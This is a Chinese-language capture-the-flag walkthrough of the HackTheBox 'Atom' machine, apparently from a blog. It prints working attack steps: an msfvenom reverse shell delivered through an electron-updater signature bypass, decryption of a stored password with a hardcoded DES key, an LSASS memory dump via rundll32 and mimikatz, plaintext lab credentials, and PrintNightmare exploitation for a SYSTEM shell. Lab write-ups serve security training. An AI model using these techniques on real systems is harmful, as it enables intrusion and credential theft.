
USER
nmap -T4 -v -A -Pn 10.10.10.237 -oN atom.txt

rustscan 再扫一遍可以看到 6379 redis 服务开启
rustscan -a atom.htb

port 80
是一个笔记应用程序,暂时只有 windows 版本,我们可以下载下来

下载好之后如图

SMB
port 445 测试一下 smb,我们可以发现一个Software_Updates
可以进入后下载其中发现的 UAT_Testing_Procedures.pdf
smbclient -N -L //10.10.10.237
smbclient -N //10.10.10.237/Software_Updates


查看可以看到基本是对于应用的一些简介

electron-updater
回到应用,打开后查看$PLUGINSDIR 文件夹

其中有一个app-64.7z,我们解压出来

在 app-64/resources 目录下 cat app-update.yml
可以发现一个子域名http://updates.atom.htb,但是这个域名直接网页打开和主域名一样


对于 app.asar 可以下载 asar 提取器查看
https://juejin.cn/post/7260326790534742073
npm install -g asar
asar extract <asar-file-path> <output-directory>

解压后的 main.js,我们可以看见在程序启动的时候会检查更新

过滤一下 autoupdate 的信息
main.js 中可以发现使用的是 electron-updater
electron-updater是一个用于Electron应用程序的自动更新模块
grep -Ri autoupdate |less

针对于 electron-updater 有漏洞可致 rce
https://blog.doyensec.com/2020/02/24/electron-updater-update-signature-bypass.html
在 url 中有引号会破环签名检测,同时执行命令
先生成 payload(记住这里的 7168bytes,等会儿构建 payload 会用到)
msfvenom -l payload
msfvenom -p windows/x64/shell/reverse_tcp LHOST=10.10.14.48 LPORT=5566 -f exe -o rev.exe

观察 payload 模板,我们还需要文件的 sha512 值
生成一下

sha512sum rev.exe | awk '{print $1}'| xxd -r -p| base64 -w 0
然后修改 latest.yml 如下

然后我们通过 smbclient 上传
put latest.yml
put rev.exe r'ev.exe
等待一分钟之后,就会收到atom\jason 用户的 rev shell
到桌面就能看到 user.txt

ROOT
kanban-cfg
接下来就是逛逛
在用户的/downloads 目录下发现一个应用 kanban

kanban 是一个项目管理框架,用于创建和管理任务

对于 kanban 有漏洞
https://www.exploit-db.com/exploits/49409
但是 exp 需要PortableKanban.pk3 文件,这里是没有的

但是有 portablekanban.cfg,其中也有配置信息,但是有点乱
保存到 kali,然后 jq 格式化查看
cat config|jq.

我们可以找到这个加密的密码
Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb
然后修改 exp,执行就可以拿到 redis 密码了
import json
import base64
from des import *
import sys
hash = base64.b64decode("Odh7N3L9aVSeHQmgK/nj7RQL8MEYCUMb")
key = DesKey(b"7ly6UznJ")
print(key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8'))

kidvscat_yes_kidvscat
kanban-redis
cfg 应该是非预期解决过程,预期解应该要结合 redis
接上面我们没有 pk3 文件之后
我们在 redis 目录C:\Program Files\Redis>查看redis.windows-service.conf 文件可以发现密码
kidvscat_yes_kidvscat

后面的步骤相同
可以用这个密码连接到 redis,认证后查看用户键的具体值
redis -h 10.10.10.237
keys *
get "pk:urn:user:e8e29158-d70d-44b1-a1ba-4949d52790a0"

Odh7N3L9aVQ8/srdZgG2hIR0SSJoJKGi
然后用脚本解密

然后密码 evil-winrm 连接即可拿到 root.txt


SYSTEM
这个机器有趣的是,他还能提升到 system 权限
printnightmare
https://github.com/cube0x0/CVE-2021-1675
要利用这个漏洞需要先获得低权限用户的密码
再上传 mimikatz 麻烦了,直接 rundll32 dump
https://redcanary.com/threat-detection-report/techniques/lsass-memory
tasklist |findstr lsass #需要先查看进程id
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump 676 C:\Users\Administrator\Documents\lsass.dmp full

download lsass.dmp 之后使用 mimikatz 查看
sekurlsa::minidump lsass.dmp
sekurlsa::logonPasswords full

jason 密码: kidvscat_electron_@123
下载 payload
git clone https://github.com/cube0x0/CVE-2021-1675.git
如果运行 payload 还需要更新专用 impacket

为了防止环境问题,后面的操作都用 python venv(pip install -r requirements.txt\python setup.py install 等操作)
python -m venv venv
source venv/bin/active
同时这个项目的 py 文件有更新,我们可以下载最新,命名为 printnightmare.py

测试是否能运行成功
可以看到成功访问我们的 smb 服务
python printnightmare.py 'jason:kidvscat_electron_@123@10.10.10.237' cxk '\\10.10.14.48\cxk'

那么接下来我们就需要一个免杀 rev shell dll,否则可能被 kill 掉
找一个 cpp reverse shell
如果直接用 impacket-smbserver 生成会显示
impacket-smbserver -smb2support share .

查看 payload 描述有 smb 的配置方法

最后 service smbd restart
重新启动 smb 服务,payload 改为访问 dll 即可获得 system shell
Comments | NOTHING